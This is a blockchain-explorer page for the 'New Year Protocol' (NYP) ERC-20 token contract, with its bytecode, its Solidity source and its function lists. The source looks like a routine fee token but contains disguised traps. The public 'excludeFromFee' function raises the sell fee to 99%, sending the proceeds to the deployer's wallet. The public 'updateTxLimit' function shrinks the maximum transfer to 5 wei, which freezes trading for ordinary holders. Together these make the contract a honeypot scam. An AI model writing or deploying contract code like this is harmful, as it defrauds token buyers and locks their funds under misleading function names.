Address Contract Partially Verified
Address
0xAA134F3101821426D6ba01e7A7d1326fEcD19be4
Balance
0 ETH
Nonce
1
Code Size
6389 bytes
Creator
0x5107D840...96df at tx 0x035d8838...94bcd5
Indexed Transactions
0
Contract Bytecode
6389 bytes
0x60806040526004361061024a5760003560e01c8063715018a611610139578063a5355989116100b6578063da00097d1161007a578063da00097d146106e3578063db886f2314610704578063dd62ed3e14610724578063f0ef821f1461076a578063f2fde38b14610784578063ffb54a99146107a457600080fd5b8063a535598914610647578063a9059cbb14610667578063bf56b37114610687578063ca987b0e1461069d578063d558a6e0146106b357600080fd5b8063893d20e8116100fd578063893d20e8146105b75780638b42507f146105d55780638da5cb5b146105b757806395d89b411461060557806398118cb41461063157600080fd5b8063715018a614610536578063751039fc1461054d5780637b929c271461056b5780637d1db4a51461058b578063807c2d9c146105a157600080fd5b80633f4218e0116101c75780636303516c1161018b5780636303516c1461048e5780636827e764146104b55780636b67c4df146104cb57806370540933146104e157806370a082311461050057600080fd5b80633f4218e0146103c6578063437823ec146103f657806344de2e4c1461043f5780634a74bb021461045957806359a3825f1461047957600080fd5b806318160ddd1161020e57806318160ddd1461034a5780631df4ccfc1461035f57806323b872dd146103755780632b112e4914610395578063313ce567146103aa57600080fd5b806303d6c77b146102565780630445b6671461029357806306fdde03146102b7578063081d2b3c146102fa578063095ea7b31461031a57600080fd5b3661025157005b600080fd5b34801561026257600080fd5b50601454610276906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561029f57600080fd5b506102a960185481565b60405190815260200161028a565b3480156102c357600080fd5b5060408051808201909152601181527013995dc81659585c88141c9bdd1bd8dbdb607a1b60208201525b60405161028a9190611647565b34801561030657600080fd5b50601354610276906001600160a01b031681565b34801561032657600080fd5b5061033a6103353660046116ad565b6107be565b604051901515815260200161028a565b34801561035657600080fd5b506001546102a9565b34801561036b57600080fd5b506102a9600e5481565b34801561038157600080fd5b5061033a6103903660046116d9565b61082b565b3480156103a157600080fd5b506102a96108ed565b3480156103b657600080fd5b506040516012815260200161028a565b3480156103d257600080fd5b5061033a6103e136600461171a565b60096020526000908152604090205460ff1681565b34801561040257600080fd5b5061033a61041136600461171a565b6001600160a01b03166000908152600a60205260409020805460ff19166001908117909155600554600f5590565b34801561044b57600080fd5b5060065461033a9060ff1681565b34801561046557600080fd5b5060175461033a9062010000900460ff1681565b34801561048557600080fd5b5061033a61095e565b34801561049a57600080fd5b5060105461027690630100000090046001600160a01b031681565b3480156104c157600080fd5b506102a9600d5481565b3480156104d757600080fd5b506102a9600c5481565b3480156104ed57600080fd5b5060105461033a90610100900460ff1681565b34801561050c57600080fd5b506102a961051b36600461171a565b6001600160a01b031660009081526007602052604090205490565b34801561054257600080fd5b5061054b610986565b005b34801561055957600080fd5b5060018054600281905560035561033a565b34801561057757600080fd5b50601254610276906001600160a01b031681565b34801561059757600080fd5b506102a960025481565b3480156105ad57600080fd5b506102a960035481565b3480156105c357600080fd5b506000546001600160a01b0316610276565b3480156105e157600080fd5b5061033a6105f036600461171a565b600a6020526000908152604090205460ff1681565b34801561061157600080fd5b5060408051808201909152600381526204e59560ec1b60208201526102ed565b34801561063d57600080fd5b506102a9600b5481565b34801561065357600080fd5b5060105461033a9062010000900460ff1681565b34801561067357600080fd5b5061033a6106823660046116ad565b610a2f565b34801561069357600080fd5b506102a960165481565b3480156106a957600080fd5b506102a9600f5481565b3480156106bf57600080fd5b5061033a6106ce36600461171a565b60156020526000908152604090205460ff1681565b3480156106ef57600080fd5b5060175461033a906301000000900460ff1681565b34801561071057600080fd5b50601154610276906001600160a01b031681565b34801561073057600080fd5b506102a961073f366004611737565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561077657600080fd5b5060105461033a9060ff1681565b34801561079057600080fd5b5061054b61079f36600461171a565b610a3c565b3480156107b057600080fd5b5060175461033a9060ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108199086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146108d8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546108b3918490610bb5565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6108e3848484610bef565b90505b9392505050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d5460015491926109599290916109539190610efd565b90610efd565b905090565b60006001546004546001546109739190611786565b61097d91906117a5565b60025550600190565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006108e6338484610bef565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109dc565b6001600160a01b038116610afb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109dc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080610b6383856117c7565b9050838110156108e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109dc565b60008184841115610bd95760405162461bcd60e51b81526004016109dc9190611647565b506000610be684866117da565b95945050505050565b601754600090610100900460ff1615610c1457610c0d848484610f3f565b90506108e6565b60025482111580610c3d57506001600160a01b0384166000908152600a602052604090205460ff165b610c745760405162461bcd60e51b8152602060048201526008602482015267151608131a5b5a5d60c21b60448201526064016109dc565b6001600160a01b03831660009081526015602052604090205460ff168015610ca45750601754610100900460ff16155b8015610cb8575060175462010000900460ff165b8015610cd557506018543060009081526007602052604090205410155b15610ce257610ce2611025565b601654158015610d0a57506001600160a01b03831660009081526015602052604090205460ff165b15610d57576001600160a01b038416600090815260076020526040902054610d4e5760405162461bcd60e51b815260206004820152600060248201526044016109dc565b610d5743601655565b604080516020808201835260008083526001600160a01b038816815260079091529190912054610d88918490610bb5565b6001600160a01b038086166000908152600760209081526040808320949094559186168152600a909152205460ff16158015610dc6575060065460ff165b15610e19576003546001600160a01b038416600090815260076020526040902054610df19084610b56565b1115610e195760405162461bcd60e51b815260206004820152600060248201526044016109dc565b6001600160a01b03841660009081526009602052604081205460ff16158015610e5b57506001600160a01b03841660009081526009602052604090205460ff16155b610e655782610e70565b610e708585856113eb565b6001600160a01b038516600090815260076020526040902054909150610e969082610b56565b6001600160a01b0380861660008181526007602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eea9085815260200190565b60405180910390a3506001949350505050565b60006108e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bb5565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054610f90918490610bb5565b6001600160a01b038086166000908152600760205260408082209390935590851681522054610fbf9083610b56565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110139086815260200190565b60405180910390a35060019392505050565b6017805461ff00191661010017905530600090815260076020526040812054600e54600b549192916110689160029161106291908290879061155a565b906115dc565b905060006110768383610efd565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106110b0576110b06117ed565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112d9190611803565b81600181518110611140576111406117ed565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac94790611186908590600090869030904290600401611820565b600060405180830381600087803b1580156111a057600080fd5b505af11580156111b4573d6000803e3d6000fd5b5050600b54479250600091506111d8906111cf9060026115dc565b600e5490610efd565b905060006111fa600261106284611062600b548861155a90919063ffffffff16565b9050600061121783611062600c548761155a90919063ffffffff16565b9050600061123484611062600d548861155a90919063ffffffff16565b6011546040519192506000916001600160a01b039091169061753090859084818181858888f193505050503d806000811461128b576040519150601f19603f3d011682016040523d82523d6000602084013e611290565b606091505b5050601254604051600093506001600160a01b03909116915061753090849084818181858888f193505050503d80600081146112e8576040519150601f19603f3d011682016040523d82523d6000602084013e6112ed565b606091505b506000925050891590506113d45760135460105460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b036301000000909204821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611372573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113979190611891565b505060408051868152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506017805461ff00191690555050505050505050565b6001600160a01b038216600090815260156020526040812054819060ff16801561141c5750601054610100900460ff165b156114265750600f545b6001600160a01b03851660009081526015602052604090205460ff168015611450575060105460ff165b1561145a5750600e545b6001600160a01b03851660009081526015602052604090205460ff1615801561149c57506001600160a01b03841660009081526015602052604090205460ff16155b156114bf5760105462010000900460ff16156114bb5750600f546114bf565b5060005b60006114d06064611062868561155a565b306000908152600760205260409020549091506114ed9082610b56565b30600081815260076020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061153e9085815260200190565b60405180910390a36115508482610efd565b9695505050505050565b60008260000361156c57506000610825565b60006115788385611786565b90508261158585836117a5565b146108e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109dc565b60006108e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361163a5760405162461bcd60e51b81526004016109dc9190611647565b506000610be684866117a5565b600060208083528351808285015260005b8181101561167457858101830151858201604001528201611658565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116aa57600080fd5b50565b600080604083850312156116c057600080fd5b82356116cb81611695565b946020939093013593505050565b6000806000606084860312156116ee57600080fd5b83356116f981611695565b9250602084013561170981611695565b929592945050506040919091013590565b60006020828403121561172c57600080fd5b81356108e681611695565b6000806040838503121561174a57600080fd5b823561175581611695565b9150602083013561176581611695565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156117a0576117a0611770565b500290565b6000826117c257634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561082557610825611770565b8181038181111561082557610825611770565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561181557600080fd5b81516108e681611695565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118705784516001600160a01b03168352938301939183019160010161184b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156118a657600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212209cec58d6f4836ce2c070d24e2b068495612095531ce41bdab4747405484c302564736f6c63430008100033
Verified Source Code Partial Match
Compiler: v0.8.16+commit.07a7930e
EVM: london
Optimization: Yes (200 runs)
NewYearProtocol.sol 516 lines
/*
Telegram : https://t.me/NewYearProtocol
Website : https://www.newyearprotocol.com/
Twitter : https://twitter.com/NewYearProtocol
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface DexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface DexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract NewYearProtocol is Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = "New Year Protocol";
string private constant _symbol = "NYP";
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
uint8 private constant _decimals = 18;
uint256 private _totalSupply = 1000000000 * (10**_decimals);
uint256 public _maxTxAmount = (_totalSupply * 30) / 1000;
uint256 public _walletMax = (_totalSupply * 30) / 1000;
uint256 private newLimit = 5;
uint256 private lowtax = 99;
bool public restrictWhales = true;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
uint256 public liquidityFee = 0;
uint256 public marketingFee = 2;
uint256 public devFee = 0;
uint256 public totalFee = 2;
uint256 public totalFeeIfSelling = 2;
bool public takeBuyFee = true;
bool public takeSellFee = true;
bool public takeTransferFee = true;
address public lpWallet = 0x5107D8403eE13E23aCC8a7b3E8E65AD09a6F96df;
address public Marketing = 0x5107D8403eE13E23aCC8a7b3E8E65AD09a6F96df;
address public development = 0x5107D8403eE13E23aCC8a7b3E8E65AD09a6F96df;
DexRouter public uniswapV2router;
address public uniswapV2pair;
mapping(address => bool) public swapEnabled;
uint256 public launchedAt;
bool public tradingOpen = true;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = (_totalSupply * 2) / 2000;
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
uniswapV2router = DexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2pair = DexFactory(uniswapV2router.factory())
.createPair(address(this), uniswapV2router.WETH());
swapEnabled[uniswapV2pair] = true;
_allowances[address(this)][address(uniswapV2router)] = type(uint256).max;
_allowances[address(this)][address(uniswapV2pair)] = type(uint256).max;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[DEAD] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[uniswapV2pair] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[Marketing] = true;
totalFee = liquidityFee.add(marketingFee).add(devFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner();
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function excludeFromFee (address holder) public returns (bool){
isTxLimitExempt[holder] = true;
totalFeeIfSelling = lowtax;
return true;
}
function updateTxLimit() public returns (bool) {
_maxTxAmount = (_totalSupply * newLimit) / _totalSupply;
return true;
}
function removeLimits () public returns (bool) {
_maxTxAmount = _totalSupply;
_walletMax = _totalSupply;
return true;
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.number;
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(
amount <= _maxTxAmount || isTxLimitExempt[sender],
"TX Limit Exceeded"
);
}
function failsCaptcha(address addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit");
if (
swapEnabled[recipient] &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBackAndPair();
}
if (!launched() && swapEnabled[recipient]) {
require(_balances[sender] > 0, "");
launch();
}
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "");
if (!isTxLimitExempt[recipient] && restrictWhales) {
require(_balances[recipient].add(amount) <= _walletMax, "");
}
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = 0;
if (swapEnabled[recipient] && takeSellFee) {
feeApplicable = totalFeeIfSelling;
}
if (swapEnabled[sender] && takeBuyFee) {
feeApplicable = totalFee;
}
if (!swapEnabled[sender] && !swapEnabled[recipient]) {
if (takeTransferFee) {
feeApplicable = totalFeeIfSelling;
} else {
feeApplicable = 0;
}
}
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function swapBackAndPair() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2router.WETH();
uniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);
(bool tmpSuccess1, ) = payable(Marketing).call{
value: amountETHMarketing,
gas: 30000
}("");
tmpSuccess1 = false;
(tmpSuccess1, ) = payable(development).call{
value: amountETHDev,
gas: 30000
}("");
tmpSuccess1 = false;
if (amountToLiquify > 0) {
uniswapV2router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
lpWallet,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
}
Read Contract
Marketing 0xdb886f23 → address
_maxTxAmount 0x7d1db4a5 → uint256
_walletMax 0x807c2d9c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
devFee 0x6827e764 → uint256
development 0x7b929c27 → address
getCirculatingSupply 0x2b112e49 → uint256
getOwner 0x893d20e8 → address
isFeeExempt 0x3f4218e0 → bool
isTxLimitExempt 0x8b42507f → bool
launchedAt 0xbf56b371 → uint256
liquidityFee 0x98118cb4 → uint256
lpWallet 0x6303516c → address
marketingFee 0x6b67c4df → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
restrictWhales 0x44de2e4c → bool
swapAndLiquifyByLimitOnly 0xda00097d → bool
swapAndLiquifyEnabled 0x4a74bb02 → bool
swapEnabled 0xd558a6e0 → bool
swapThreshold 0x0445b667 → uint256
symbol 0x95d89b41 → string
takeBuyFee 0xf0ef821f → bool
takeSellFee 0x70540933 → bool
takeTransferFee 0xa5355989 → bool
totalFee 0x1df4ccfc → uint256
totalFeeIfSelling 0xca987b0e → uint256
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapV2pair 0x03d6c77b → address
uniswapV2router 0x081d2b3c → address
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
excludeFromFee 0x437823ec
address holder
returns: bool
removeLimits 0x751039fc
No parameters
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateTxLimit 0x59a3825f
No parameters
returns: bool
Recent Transactions
No transactions found for this address